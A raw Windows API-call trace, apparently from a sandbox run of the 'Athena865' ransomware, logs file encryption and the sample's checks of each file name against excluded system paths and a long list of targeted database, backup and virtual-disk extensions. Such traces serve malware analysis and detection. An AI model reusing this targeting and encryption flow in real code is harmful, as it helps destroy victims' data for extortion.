[0107.540] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.fnt.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0107.540] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=606062) returned 1 [0107.540] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0107.540] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d20 [0107.540] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519d50 [0107.540] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519cc8) returned 1 [0107.541] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0107.541] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0107.541] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x94270, lpName=0x0) returned 0x17c [0107.542] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x94270) returned 0x2d50000 [0107.677] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519cc8) returned 1 [0107.677] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0107.677] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0107.677] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0107.677] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0107.678] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0107.678] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0107.678] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0107.678] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0107.678] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0107.678] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0107.678] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0107.678] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0107.678] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0107.683] CloseHandle (hObject=0x17c) returned 1 [0107.683] CloseHandle (hObject=0x154) returned 1 [0107.683] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d20 | out: hHeap=0x4f0000) returned 1 [0107.683] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519d50 | out: hHeap=0x4f0000) returned 1 [0107.683] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0107.686] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0xadf90, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="EPSIMP32.FLT", cAlternateFileName="")) returned 1 [0107.686] lstrcmpiW (lpString1="EPSIMP32.FLT", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0107.686] lstrcmpiW (lpString1="EPSIMP32.FLT", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0107.686] lstrcmpiW (lpString1="EPSIMP32.FLT", lpString2=".") returned 1 [0107.686] lstrcmpiW (lpString1="EPSIMP32.FLT", lpString2="..") returned 1 [0107.686] lstrcmpiW (lpString1="EPSIMP32.FLT", lpString2="windows") returned -1 [0107.686] lstrcmpiW (lpString1="EPSIMP32.FLT", lpString2="bootmgr") returned 1 [0107.686] lstrcmpiW (lpString1="EPSIMP32.FLT", lpString2="temp") returned -1 [0107.686] lstrcmpiW (lpString1="EPSIMP32.FLT", lpString2="pagefile.sys") returned -1 [0107.686] lstrcmpiW (lpString1="EPSIMP32.FLT", lpString2="boot") returned 1 [0107.686] lstrcmpiW (lpString1="EPSIMP32.FLT", lpString2="ids.txt") returned -1 [0107.686] lstrcmpiW (lpString1="EPSIMP32.FLT", lpString2="ntuser.dat") returned -1 [0107.686] lstrcmpiW (lpString1="EPSIMP32.FLT", lpString2="perflogs") returned -1 [0107.686] lstrcmpiW (lpString1="EPSIMP32.FLT", lpString2="MSBuild") returned -1 [0107.686] lstrlenW (lpString="EPSIMP32.FLT") returned 12 [0107.686] lstrcpyW (in: lpString1=0x241e8b6, lpString2="EPSIMP32.FLT" | out: lpString1="EPSIMP32.FLT") returned="EPSIMP32.FLT" [0107.686] lstrlenW (lpString="EPSIMP32.FLT") returned 12 [0107.686] lstrlenW (lpString="Athena865") returned 9 [0107.687] lstrcmpiW (lpString1="IMP32.FLT", lpString2="Athena865") returned 1 [0107.687] lstrlenW (lpString=".dll") returned 4 [0107.687] lstrcmpiW (lpString1="EPSIMP32.FLT", lpString2=".dll") returned 1 [0107.687] lstrlenW (lpString=".lnk") returned 4 [0107.687] lstrcmpiW (lpString1="EPSIMP32.FLT", lpString2=".lnk") returned 1 [0107.687] lstrlenW (lpString=".ini") returned 4 [0107.687] lstrcmpiW (lpString1="EPSIMP32.FLT", lpString2=".ini") returned 1 [0107.687] lstrlenW (lpString=".sys") returned 4 [0107.687] lstrcmpiW (lpString1="EPSIMP32.FLT", lpString2=".sys") returned 1 [0107.687] lstrlenW (lpString="EPSIMP32.FLT") returned 12 [0107.687] lstrlenW (lpString="bak") returned 3 [0107.687] lstrcmpiW (lpString1="FLT", lpString2="bak") returned 1 [0107.687] lstrlenW (lpString="ba_") returned 3 [0107.687] lstrcmpiW (lpString1="FLT", lpString2="ba_") returned 1 [0107.687] lstrlenW (lpString="dbb") returned 3 [0107.687] lstrcmpiW (lpString1="FLT", lpString2="dbb") returned 1 [0107.687] lstrlenW (lpString="vmdk") returned 4 [0107.687] lstrcmpiW (lpString1=".FLT", lpString2="vmdk") returned -1 [0107.687] lstrlenW (lpString="rar") returned 3 [0107.687] lstrcmpiW (lpString1="FLT", lpString2="rar") returned -1 [0107.687] lstrlenW (lpString="zip") returned 3 [0107.687] lstrcmpiW (lpString1="FLT", lpString2="zip") returned -1 [0107.687] lstrlenW (lpString="tgz") returned 3 [0107.687] lstrcmpiW (lpString1="FLT", lpString2="tgz") returned -1 [0107.687] lstrlenW (lpString="vbox") returned 4 [0107.687] lstrcmpiW (lpString1=".FLT", lpString2="vbox") returned -1 [0107.687] lstrlenW (lpString="vdi") returned 3 [0107.687] lstrcmpiW (lpString1="FLT", lpString2="vdi") returned -1 [0107.687] lstrlenW (lpString="vhd") returned 3 [0107.687] lstrcmpiW (lpString1="FLT", lpString2="vhd") returned -1 [0107.687] lstrlenW (lpString="vhdx") returned 4 [0107.687] lstrcmpiW (lpString1=".FLT", lpString2="vhdx") returned -1 [0107.687] lstrlenW (lpString="avhd") returned 4 [0107.688] lstrcmpiW (lpString1=".FLT", lpString2="avhd") returned -1 [0107.688] lstrlenW (lpString="db") returned 2 [0107.688] lstrcmpiW (lpString1="LT", lpString2="db") returned 1 [0107.688] lstrlenW (lpString="db2") returned 3 [0107.688] lstrcmpiW (lpString1="FLT", lpString2="db2") returned 1 [0107.688] lstrlenW (lpString="db3") returned 3 [0107.688] lstrcmpiW (lpString1="FLT", lpString2="db3") returned 1 [0107.688] lstrlenW (lpString="dbf") returned 3 [0107.688] lstrcmpiW (lpString1="FLT", lpString2="dbf") returned 1 [0107.688] lstrlenW (lpString="mdf") returned 3 [0107.688] lstrcmpiW (lpString1="FLT", lpString2="mdf") returned -1 [0107.688] lstrlenW (lpString="mdb") returned 3 [0107.688] lstrcmpiW (lpString1="FLT", lpString2="mdb") returned -1 [0107.688] lstrlenW (lpString="sql") returned 3 [0107.688] lstrcmpiW (lpString1="FLT", lpString2="sql") returned -1 [0107.688] lstrlenW (lpString="sqlite") returned 6 [0107.688] lstrcmpiW (lpString1="32.FLT", lpString2="sqlite") returned -1 [0107.688] lstrlenW (lpString="sqlite3") returned 7 [0107.688] lstrcmpiW (lpString1="P32.FLT", lpString2="sqlite3") returned -1 [0107.688] lstrlenW (lpString="sqlitedb") returned 8 [0107.688] lstrcmpiW (lpString1="MP32.FLT", lpString2="sqlitedb") returned -1 [0107.688] lstrlenW (lpString="xml") returned 3 [0107.688] lstrcmpiW (lpString1="FLT", lpString2="xml") returned -1 [0107.688] lstrlenW (lpString="$er") returned 3 [0107.688] lstrcmpiW (lpString1="FLT", lpString2="$er") returned 1 [0107.688] lstrlenW (lpString="4dd") returned 3 [0107.688] lstrcmpiW (lpString1="FLT", lpString2="4dd") returned 1 [0107.688] lstrlenW (lpString="4dl") returned 3 [0107.688] lstrcmpiW (lpString1="FLT", lpString2="4dl") returned 1 [0107.688] lstrlenW (lpString="^^^") returned 3 [0107.688] lstrcmpiW (lpString1="FLT", lpString2="^^^") returned 1 [0107.688] lstrlenW (lpString="abs") returned 3 [0107.688] lstrcmpiW (lpString1="FLT", lpString2="abs") returned 1 [0107.689] lstrlenW (lpString="abx") returned 3 [0107.689] lstrcmpiW (lpString1="FLT", lpString2="abx") returned 1 [0107.689] lstrlenW (lpString="accdb") returned 5 [0107.689] lstrcmpiW (lpString1="2.FLT", lpString2="accdb") returned -1 [0107.689] lstrlenW (lpString="accdc") returned 5 [0107.691] lstrcmpiW (lpString1="2.FLT", lpString2="accdc") returned -1 [0107.691] lstrlenW (lpString="accde") returned 5 [0107.691] lstrcmpiW (lpString1="2.FLT", lpString2="accde") returned -1 [0107.691] lstrlenW (lpString="accdr") returned 5 [0107.691] lstrcmpiW (lpString1="2.FLT", lpString2="accdr") returned -1 [0107.691] lstrlenW (lpString="accdt") returned 5 [0107.691] lstrcmpiW (lpString1="2.FLT", lpString2="accdt") returned -1 [0107.691] lstrlenW (lpString="accdw") returned 5 [0107.691] lstrcmpiW (lpString1="2.FLT", lpString2="accdw") returned -1 [0107.691] lstrlenW (lpString="accft") returned 5 [0107.691] lstrcmpiW (lpString1="2.FLT", lpString2="accft") returned -1 [0107.691] lstrlenW (lpString="adb") returned 3 [0107.691] lstrcmpiW (lpString1="FLT", lpString2="adb") returned 1 [0107.691] lstrlenW (lpString="adb") returned 3 [0107.691] lstrcmpiW (lpString1="FLT", lpString2="adb") returned 1 [0107.691] lstrlenW (lpString="ade") returned 3 [0107.691] lstrcmpiW (lpString1="FLT", lpString2="ade") returned 1 [0107.691] lstrlenW (lpString="adf") returned 3 [0107.691] lstrcmpiW (lpString1="FLT", lpString2="adf") returned 1 [0107.692] lstrlenW (lpString="adn") returned 3 [0107.692] lstrcmpiW (lpString1="FLT", lpString2="adn") returned 1 [0107.692] lstrlenW (lpString="adp") returned 3 [0107.692] lstrcmpiW (lpString1="FLT", lpString2="adp") returned 1 [0107.692] lstrlenW (lpString="alf") returned 3 [0107.692] lstrcmpiW (lpString1="FLT", lpString2="alf") returned 1 [0107.692] lstrlenW (lpString="ask") returned 3 [0107.692] lstrcmpiW (lpString1="FLT", lpString2="ask") returned 1 [0107.692] lstrlenW (lpString="btr") returned 3 [0107.692] lstrcmpiW (lpString1="FLT", lpString2="btr") returned 1 [0107.692] lstrlenW (lpString="cat") returned 3 [0107.692] lstrcmpiW (lpString1="FLT", lpString2="cat") returned 1 [0107.692] lstrlenW (lpString="cdb") returned 3 [0107.692] lstrcmpiW (lpString1="FLT", lpString2="cdb") returned 1 [0107.692] lstrlenW (lpString="ckp") returned 3 [0107.692] lstrcmpiW (lpString1="FLT", lpString2="ckp") returned 1 [0107.692] lstrlenW (lpString="cma") returned 3 [0107.692] lstrcmpiW (lpString1="FLT", lpString2="cma") returned 1 [0107.692] lstrlenW (lpString="cpd") returned 3 [0107.692] lstrcmpiW (lpString1="FLT", lpString2="cpd") returned 1 [0107.692] lstrlenW (lpString="dacpac") returned 6 [0107.692] lstrcmpiW (lpString1="32.FLT", lpString2="dacpac") returned -1 [0107.692] lstrlenW (lpString="dad") returned 3 [0107.692] lstrcmpiW (lpString1="FLT", lpString2="dad") returned 1 [0107.692] lstrlenW (lpString="dadiagrams") returned 10 [0107.692] lstrcmpiW (lpString1="SIMP32.FLT", lpString2="dadiagrams") returned 1 [0107.692] lstrlenW (lpString="daschema") returned 8 [0107.692] lstrcmpiW (lpString1="MP32.FLT", lpString2="daschema") returned 1 [0107.692] lstrlenW (lpString="db-journal") returned 10 [0107.692] lstrcmpiW (lpString1="SIMP32.FLT", lpString2="db-journal") returned 1 [0107.692] lstrlenW (lpString="db-shm") returned 6 [0107.692] lstrcmpiW (lpString1="32.FLT", lpString2="db-shm") returned -1 [0107.693] lstrlenW (lpString="db-wal") returned 6 [0107.693] lstrcmpiW (lpString1="32.FLT", lpString2="db-wal") returned -1 [0107.693] lstrlenW (lpString="dbc") returned 3 [0107.693] lstrcmpiW (lpString1="FLT", lpString2="dbc") returned 1 [0107.693] lstrlenW (lpString="dbs") returned 3 [0107.693] lstrcmpiW (lpString1="FLT", lpString2="dbs") returned 1 [0107.693] lstrlenW (lpString="dbt") returned 3 [0107.693] lstrcmpiW (lpString1="FLT", lpString2="dbt") returned 1 [0107.693] lstrlenW (lpString="dbv") returned 3 [0107.693] lstrcmpiW (lpString1="FLT", lpString2="dbv") returned 1 [0107.693] lstrlenW (lpString="dbx") returned 3 [0107.693] lstrcmpiW (lpString1="FLT", lpString2="dbx") returned 1 [0107.693] lstrlenW (lpString="dcb") returned 3 [0107.693] lstrcmpiW (lpString1="FLT", lpString2="dcb") returned 1 [0107.693] lstrlenW (lpString="dct") returned 3 [0107.693] lstrcmpiW (lpString1="FLT", lpString2="dct") returned 1 [0107.693] lstrlenW (lpString="dcx") returned 3 [0107.693] lstrcmpiW (lpString1="FLT", lpString2="dcx") returned 1 [0107.693] lstrlenW (lpString="ddl") returned 3 [0107.693] lstrcmpiW (lpString1="FLT", lpString2="ddl") returned 1 [0107.693] lstrlenW (lpString="dlis") returned 4 [0107.693] lstrcmpiW (lpString1=".FLT", lpString2="dlis") returned -1 [0107.693] lstrlenW (lpString="dp1") returned 3 [0107.693] lstrcmpiW (lpString1="FLT", lpString2="dp1") returned 1 [0107.693] lstrlenW (lpString="dqy") returned 3 [0107.693] lstrcmpiW (lpString1="FLT", lpString2="dqy") returned 1 [0107.693] lstrlenW (lpString="dsk") returned 3 [0107.693] lstrcmpiW (lpString1="FLT", lpString2="dsk") returned 1 [0107.693] lstrlenW (lpString="dsn") returned 3 [0107.693] lstrcmpiW (lpString1="FLT", lpString2="dsn") returned 1 [0107.693] lstrlenW (lpString="dtsx") returned 4 [0107.693] lstrcmpiW (lpString1=".FLT", lpString2="dtsx") returned -1 [0107.693] lstrlenW (lpString="dxl") returned 3 [0107.694] lstrcmpiW (lpString1="FLT", lpString2="dxl") returned 1 [0107.694] lstrlenW (lpString="eco") returned 3 [0107.694] lstrcmpiW (lpString1="FLT", lpString2="eco") returned 1 [0107.694] lstrlenW (lpString="ecx") returned 3 [0107.694] lstrcmpiW (lpString1="FLT", lpString2="ecx") returned 1 [0107.694] lstrlenW (lpString="edb") returned 3 [0107.694] lstrcmpiW (lpString1="FLT", lpString2="edb") returned 1 [0107.694] lstrlenW (lpString="epim") returned 4 [0107.694] lstrcmpiW (lpString1=".FLT", lpString2="epim") returned -1 [0107.694] lstrlenW (lpString="fcd") returned 3 [0107.694] lstrcmpiW (lpString1="FLT", lpString2="fcd") returned 1 [0107.694] lstrlenW (lpString="fdb") returned 3 [0107.694] lstrcmpiW (lpString1="FLT", lpString2="fdb") returned 1 [0107.694] lstrlenW (lpString="fic") returned 3 [0107.694] lstrcmpiW (lpString1="FLT", lpString2="fic") returned 1 [0107.694] lstrlenW (lpString="flexolibrary") returned 12 [0107.694] lstrlenW (lpString="fm5") returned 3 [0107.694] lstrcmpiW (lpString1="FLT", lpString2="fm5") returned -1 [0107.694] lstrlenW (lpString="fmp") returned 3 [0107.694] lstrcmpiW (lpString1="FLT", lpString2="fmp") returned -1 [0107.694] lstrlenW (lpString="fmp12") returned 5 [0107.694] lstrcmpiW (lpString1="2.FLT", lpString2="fmp12") returned -1 [0107.694] lstrlenW (lpString="fmpsl") returned 5 [0107.694] lstrcmpiW (lpString1="2.FLT", lpString2="fmpsl") returned -1 [0107.694] lstrlenW (lpString="fol") returned 3 [0107.694] lstrcmpiW (lpString1="FLT", lpString2="fol") returned -1 [0107.694] lstrlenW (lpString="fp3") returned 3 [0107.694] lstrcmpiW (lpString1="FLT", lpString2="fp3") returned -1 [0107.694] lstrlenW (lpString="fp4") returned 3 [0107.694] lstrcmpiW (lpString1="FLT", lpString2="fp4") returned -1 [0107.694] lstrlenW (lpString="fp5") returned 3 [0107.694] lstrcmpiW (lpString1="FLT", lpString2="fp5") returned -1 [0107.694] lstrlenW (lpString="fp7") returned 3 [0107.695] lstrcmpiW (lpString1="FLT", lpString2="fp7") returned -1 [0107.695] lstrlenW (lpString="fpt") returned 3 [0107.695] lstrcmpiW (lpString1="FLT", lpString2="fpt") returned -1 [0107.695] lstrlenW (lpString="frm") returned 3 [0107.695] lstrcmpiW (lpString1="FLT", lpString2="frm") returned -1 [0107.695] lstrlenW (lpString="gdb") returned 3 [0107.695] lstrcmpiW (lpString1="FLT", lpString2="gdb") returned -1 [0107.695] lstrlenW (lpString="gdb") returned 3 [0107.695] lstrcmpiW (lpString1="FLT", lpString2="gdb") returned -1 [0107.695] lstrlenW (lpString="grdb") returned 4 [0107.695] lstrcmpiW (lpString1=".FLT", lpString2="grdb") returned -1 [0107.695] lstrlenW (lpString="gwi") returned 3 [0107.695] lstrcmpiW (lpString1="FLT", lpString2="gwi") returned -1 [0107.695] lstrlenW (lpString="hdb") returned 3 [0107.695] lstrcmpiW (lpString1="FLT", lpString2="hdb") returned -1 [0107.695] lstrlenW (lpString="his") returned 3 [0107.695] lstrcmpiW (lpString1="FLT", lpString2="his") returned -1 [0107.695] lstrlenW (lpString="ib") returned 2 [0107.695] lstrcmpiW (lpString1="LT", lpString2="ib") returned 1 [0107.695] lstrlenW (lpString="idb") returned 3 [0107.695] lstrcmpiW (lpString1="FLT", lpString2="idb") returned -1 [0107.695] lstrlenW (lpString="ihx") returned 3 [0107.695] lstrcmpiW (lpString1="FLT", lpString2="ihx") returned -1 [0107.695] lstrlenW (lpString="itdb") returned 4 [0107.695] lstrcmpiW (lpString1=".FLT", lpString2="itdb") returned -1 [0107.695] lstrlenW (lpString="itw") returned 3 [0107.695] lstrcmpiW (lpString1="FLT", lpString2="itw") returned -1 [0107.695] lstrlenW (lpString="jet") returned 3 [0107.695] lstrcmpiW (lpString1="FLT", lpString2="jet") returned -1 [0107.695] lstrlenW (lpString="jtx") returned 3 [0107.695] lstrcmpiW (lpString1="FLT", lpString2="jtx") returned -1 [0107.695] lstrlenW (lpString="kdb") returned 3 [0107.695] lstrcmpiW (lpString1="FLT", lpString2="kdb") returned -1 [0107.696] lstrlenW (lpString="kexi") returned 4 [0107.696] lstrcmpiW (lpString1=".FLT", lpString2="kexi") returned -1 [0107.696] lstrlenW (lpString="kexic") returned 5 [0107.696] lstrcmpiW (lpString1="2.FLT", lpString2="kexic") returned -1 [0107.696] lstrlenW (lpString="kexis") returned 5 [0107.696] lstrcmpiW (lpString1="2.FLT", lpString2="kexis") returned -1 [0107.696] lstrlenW (lpString="lgc") returned 3 [0107.696] lstrcmpiW (lpString1="FLT", lpString2="lgc") returned -1 [0107.696] lstrlenW (lpString="lwx") returned 3 [0107.696] lstrcmpiW (lpString1="FLT", lpString2="lwx") returned -1 [0107.696] lstrlenW (lpString="maf") returned 3 [0107.696] lstrcmpiW (lpString1="FLT", lpString2="maf") returned -1 [0107.696] lstrlenW (lpString="maq") returned 3 [0107.696] lstrcmpiW (lpString1="FLT", lpString2="maq") returned -1 [0107.696] lstrlenW (lpString="mar") returned 3 [0107.696] lstrcmpiW (lpString1="FLT", lpString2="mar") returned -1 [0107.696] lstrlenW (lpString="marshal") returned 7 [0107.696] lstrcmpiW (lpString1="P32.FLT", lpString2="marshal") returned 1 [0107.696] lstrlenW (lpString="mas") returned 3 [0107.696] lstrcmpiW (lpString1="FLT", lpString2="mas") returned -1 [0107.696] lstrlenW (lpString="mav") returned 3 [0107.696] lstrcmpiW (lpString1="FLT", lpString2="mav") returned -1 [0107.696] lstrlenW (lpString="maw") returned 3 [0107.696] lstrcmpiW (lpString1="FLT", lpString2="maw") returned -1 [0107.696] lstrlenW (lpString="mdbhtml") returned 7 [0107.696] lstrcmpiW (lpString1="P32.FLT", lpString2="mdbhtml") returned 1 [0107.696] lstrlenW (lpString="mdn") returned 3 [0107.696] lstrcmpiW (lpString1="FLT", lpString2="mdn") returned -1 [0107.696] lstrlenW (lpString="mdt") returned 3 [0107.696] lstrcmpiW (lpString1="FLT", lpString2="mdt") returned -1 [0107.696] lstrlenW (lpString="mfd") returned 3 [0107.696] lstrcmpiW (lpString1="FLT", lpString2="mfd") returned -1 [0107.696] lstrlenW (lpString="mpd") returned 3 [0107.697] lstrcmpiW (lpString1="FLT", lpString2="mpd") returned -1 [0107.697] lstrlenW (lpString="mrg") returned 3 [0107.697] lstrcmpiW (lpString1="FLT", lpString2="mrg") returned -1 [0107.697] lstrlenW (lpString="mud") returned 3 [0107.697] lstrcmpiW (lpString1="FLT", lpString2="mud") returned -1 [0107.697] lstrlenW (lpString="mwb") returned 3 [0107.697] lstrcmpiW (lpString1="FLT", lpString2="mwb") returned -1 [0107.697] lstrlenW (lpString="myd") returned 3 [0107.697] lstrcmpiW (lpString1="FLT", lpString2="myd") returned -1 [0107.697] lstrlenW (lpString="ndf") returned 3 [0107.697] lstrcmpiW (lpString1="FLT", lpString2="ndf") returned -1 [0107.697] lstrlenW (lpString="nnt") returned 3 [0107.697] lstrcmpiW (lpString1="FLT", lpString2="nnt") returned -1 [0107.697] lstrlenW (lpString="nrmlib") returned 6 [0107.697] lstrcmpiW (lpString1="32.FLT", lpString2="nrmlib") returned -1 [0107.697] lstrlenW (lpString="ns2") returned 3 [0107.697] lstrcmpiW (lpString1="FLT", lpString2="ns2") returned -1 [0107.697] lstrlenW (lpString="ns3") returned 3 [0107.697] lstrcmpiW (lpString1="FLT", lpString2="ns3") returned -1 [0107.697] lstrlenW (lpString="ns4") returned 3 [0107.697] lstrcmpiW (lpString1="FLT", lpString2="ns4") returned -1 [0107.697] lstrlenW (lpString="nsf") returned 3 [0107.697] lstrcmpiW (lpString1="FLT", lpString2="nsf") returned -1 [0107.697] lstrlenW (lpString="nv") returned 2 [0107.697] lstrcmpiW (lpString1="LT", lpString2="nv") returned -1 [0107.697] lstrlenW (lpString="nv2") returned 3 [0107.697] lstrcmpiW (lpString1="FLT", lpString2="nv2") returned -1 [0107.697] lstrlenW (lpString="nwdb") returned 4 [0107.697] lstrcmpiW (lpString1=".FLT", lpString2="nwdb") returned -1 [0107.697] lstrlenW (lpString="nyf") returned 3 [0107.697] lstrcmpiW (lpString1="FLT", lpString2="nyf") returned -1 [0107.697] lstrlenW (lpString="odb") returned 3 [0107.697] lstrcmpiW (lpString1="FLT", lpString2="odb") returned -1 [0107.698] lstrlenW (lpString="odb") returned 3 [0107.698] lstrcmpiW (lpString1="FLT", lpString2="odb") returned -1 [0107.698] lstrlenW (lpString="oqy") returned 3 [0107.698] lstrcmpiW (lpString1="FLT", lpString2="oqy") returned -1 [0107.698] lstrlenW (lpString="ora") returned 3 [0107.698] lstrcmpiW (lpString1="FLT", lpString2="ora") returned -1 [0107.698] lstrlenW (lpString="orx") returned 3 [0107.698] lstrcmpiW (lpString1="FLT", lpString2="orx") returned -1 [0107.698] lstrlenW (lpString="owc") returned 3 [0107.698] lstrcmpiW (lpString1="FLT", lpString2="owc") returned -1 [0107.698] lstrlenW (lpString="p96") returned 3 [0107.698] lstrcmpiW (lpString1="FLT", lpString2="p96") returned -1 [0107.698] lstrlenW (lpString="p97") returned 3 [0107.698] lstrcmpiW (lpString1="FLT", lpString2="p97") returned -1 [0107.698] lstrlenW (lpString="pan") returned 3 [0107.698] lstrcmpiW (lpString1="FLT", lpString2="pan") returned -1 [0107.698] lstrlenW (lpString="pdb") returned 3 [0107.698] lstrcmpiW (lpString1="FLT", lpString2="pdb") returned -1 [0107.698] lstrlenW (lpString="pdm") returned 3 [0107.698] lstrcmpiW (lpString1="FLT", lpString2="pdm") returned -1 [0107.698] lstrlenW (lpString="pnz") returned 3 [0107.698] lstrcmpiW (lpString1="FLT", lpString2="pnz") returned -1 [0107.698] lstrlenW (lpString="qry") returned 3 [0107.698] lstrcmpiW (lpString1="FLT", lpString2="qry") returned -1 [0107.698] lstrlenW (lpString="qvd") returned 3 [0107.698] lstrcmpiW (lpString1="FLT", lpString2="qvd") returned -1 [0107.698] lstrlenW (lpString="rbf") returned 3 [0107.698] lstrcmpiW (lpString1="FLT", lpString2="rbf") returned -1 [0107.698] lstrlenW (lpString="rctd") returned 4 [0107.698] lstrcmpiW (lpString1=".FLT", lpString2="rctd") returned -1 [0107.698] lstrlenW (lpString="rod") returned 3 [0107.699] lstrcmpiW (lpString1="FLT", lpString2="rod") returned -1 [0107.699] lstrlenW (lpString="rodx") returned 4 [0107.699] lstrcmpiW (lpString1=".FLT", lpString2="rodx") returned -1 [0107.699] lstrlenW (lpString="rpd") returned 3 [0107.699] lstrcmpiW (lpString1="FLT", lpString2="rpd") returned -1 [0107.699] lstrlenW (lpString="rsd") returned 3 [0107.699] lstrcmpiW (lpString1="FLT", lpString2="rsd") returned -1 [0107.699] lstrlenW (lpString="sas7bdat") returned 8 [0107.699] lstrcmpiW (lpString1="MP32.FLT", lpString2="sas7bdat") returned -1 [0107.699] lstrlenW (lpString="sbf") returned 3 [0107.699] lstrcmpiW (lpString1="FLT", lpString2="sbf") returned -1 [0107.699] lstrlenW (lpString="scx") returned 3 [0107.699] lstrcmpiW (lpString1="FLT", lpString2="scx") returned -1 [0107.699] lstrlenW (lpString="sdb") returned 3 [0107.699] lstrcmpiW (lpString1="FLT", lpString2="sdb") returned -1 [0107.699] lstrlenW (lpString="sdc") returned 3 [0107.699] lstrcmpiW (lpString1="FLT", lpString2="sdc") returned -1 [0107.699] lstrlenW (lpString="sdf") returned 3 [0107.699] lstrcmpiW (lpString1="FLT", lpString2="sdf") returned -1 [0107.699] lstrlenW (lpString="sis") returned 3 [0107.699] lstrcmpiW (lpString1="FLT", lpString2="sis") returned -1 [0107.699] lstrlenW (lpString="spq") returned 3 [0107.699] lstrcmpiW (lpString1="FLT", lpString2="spq") returned -1 [0107.699] lstrlenW (lpString="te") returned 2 [0107.699] lstrcmpiW (lpString1="LT", lpString2="te") returned -1 [0107.699] lstrlenW (lpString="teacher") returned 7 [0107.699] lstrcmpiW (lpString1="P32.FLT", lpString2="teacher") returned -1 [0107.699] lstrlenW (lpString="tmd") returned 3 [0107.699] lstrcmpiW (lpString1="FLT", lpString2="tmd") returned -1 [0107.699] lstrlenW (lpString="tps") returned 3 [0107.699] lstrcmpiW (lpString1="FLT", lpString2="tps") returned -1 [0107.699] lstrlenW (lpString="trc") returned 3 [0107.700] lstrcmpiW (lpString1="FLT", lpString2="trc") returned -1 [0107.700] lstrlenW (lpString="trc") returned 3 [0107.700] lstrcmpiW (lpString1="FLT", lpString2="trc") returned -1 [0107.700] lstrlenW (lpString="trm") returned 3 [0107.700] lstrcmpiW (lpString1="FLT", lpString2="trm") returned -1 [0107.700] lstrlenW (lpString="udb") returned 3 [0107.700] lstrcmpiW (lpString1="FLT", lpString2="udb") returned -1 [0107.700] lstrlenW (lpString="udl") returned 3 [0107.700] lstrcmpiW (lpString1="FLT", lpString2="udl") returned -1 [0107.700] lstrlenW (lpString="usr") returned 3 [0107.700] lstrcmpiW (lpString1="FLT", lpString2="usr") returned -1 [0107.700] lstrlenW (lpString="v12") returned 3 [0107.700] lstrcmpiW (lpString1="FLT", lpString2="v12") returned -1 [0107.700] lstrlenW (lpString="vis") returned 3 [0107.700] lstrcmpiW (lpString1="FLT", lpString2="vis") returned -1 [0107.700] lstrlenW (lpString="vpd") returned 3 [0107.700] lstrcmpiW (lpString1="FLT", lpString2="vpd") returned -1 [0107.700] lstrlenW (lpString="vvv") returned 3 [0107.700] lstrcmpiW (lpString1="FLT", lpString2="vvv") returned -1 [0107.700] lstrlenW (lpString="wdb") returned 3 [0107.700] 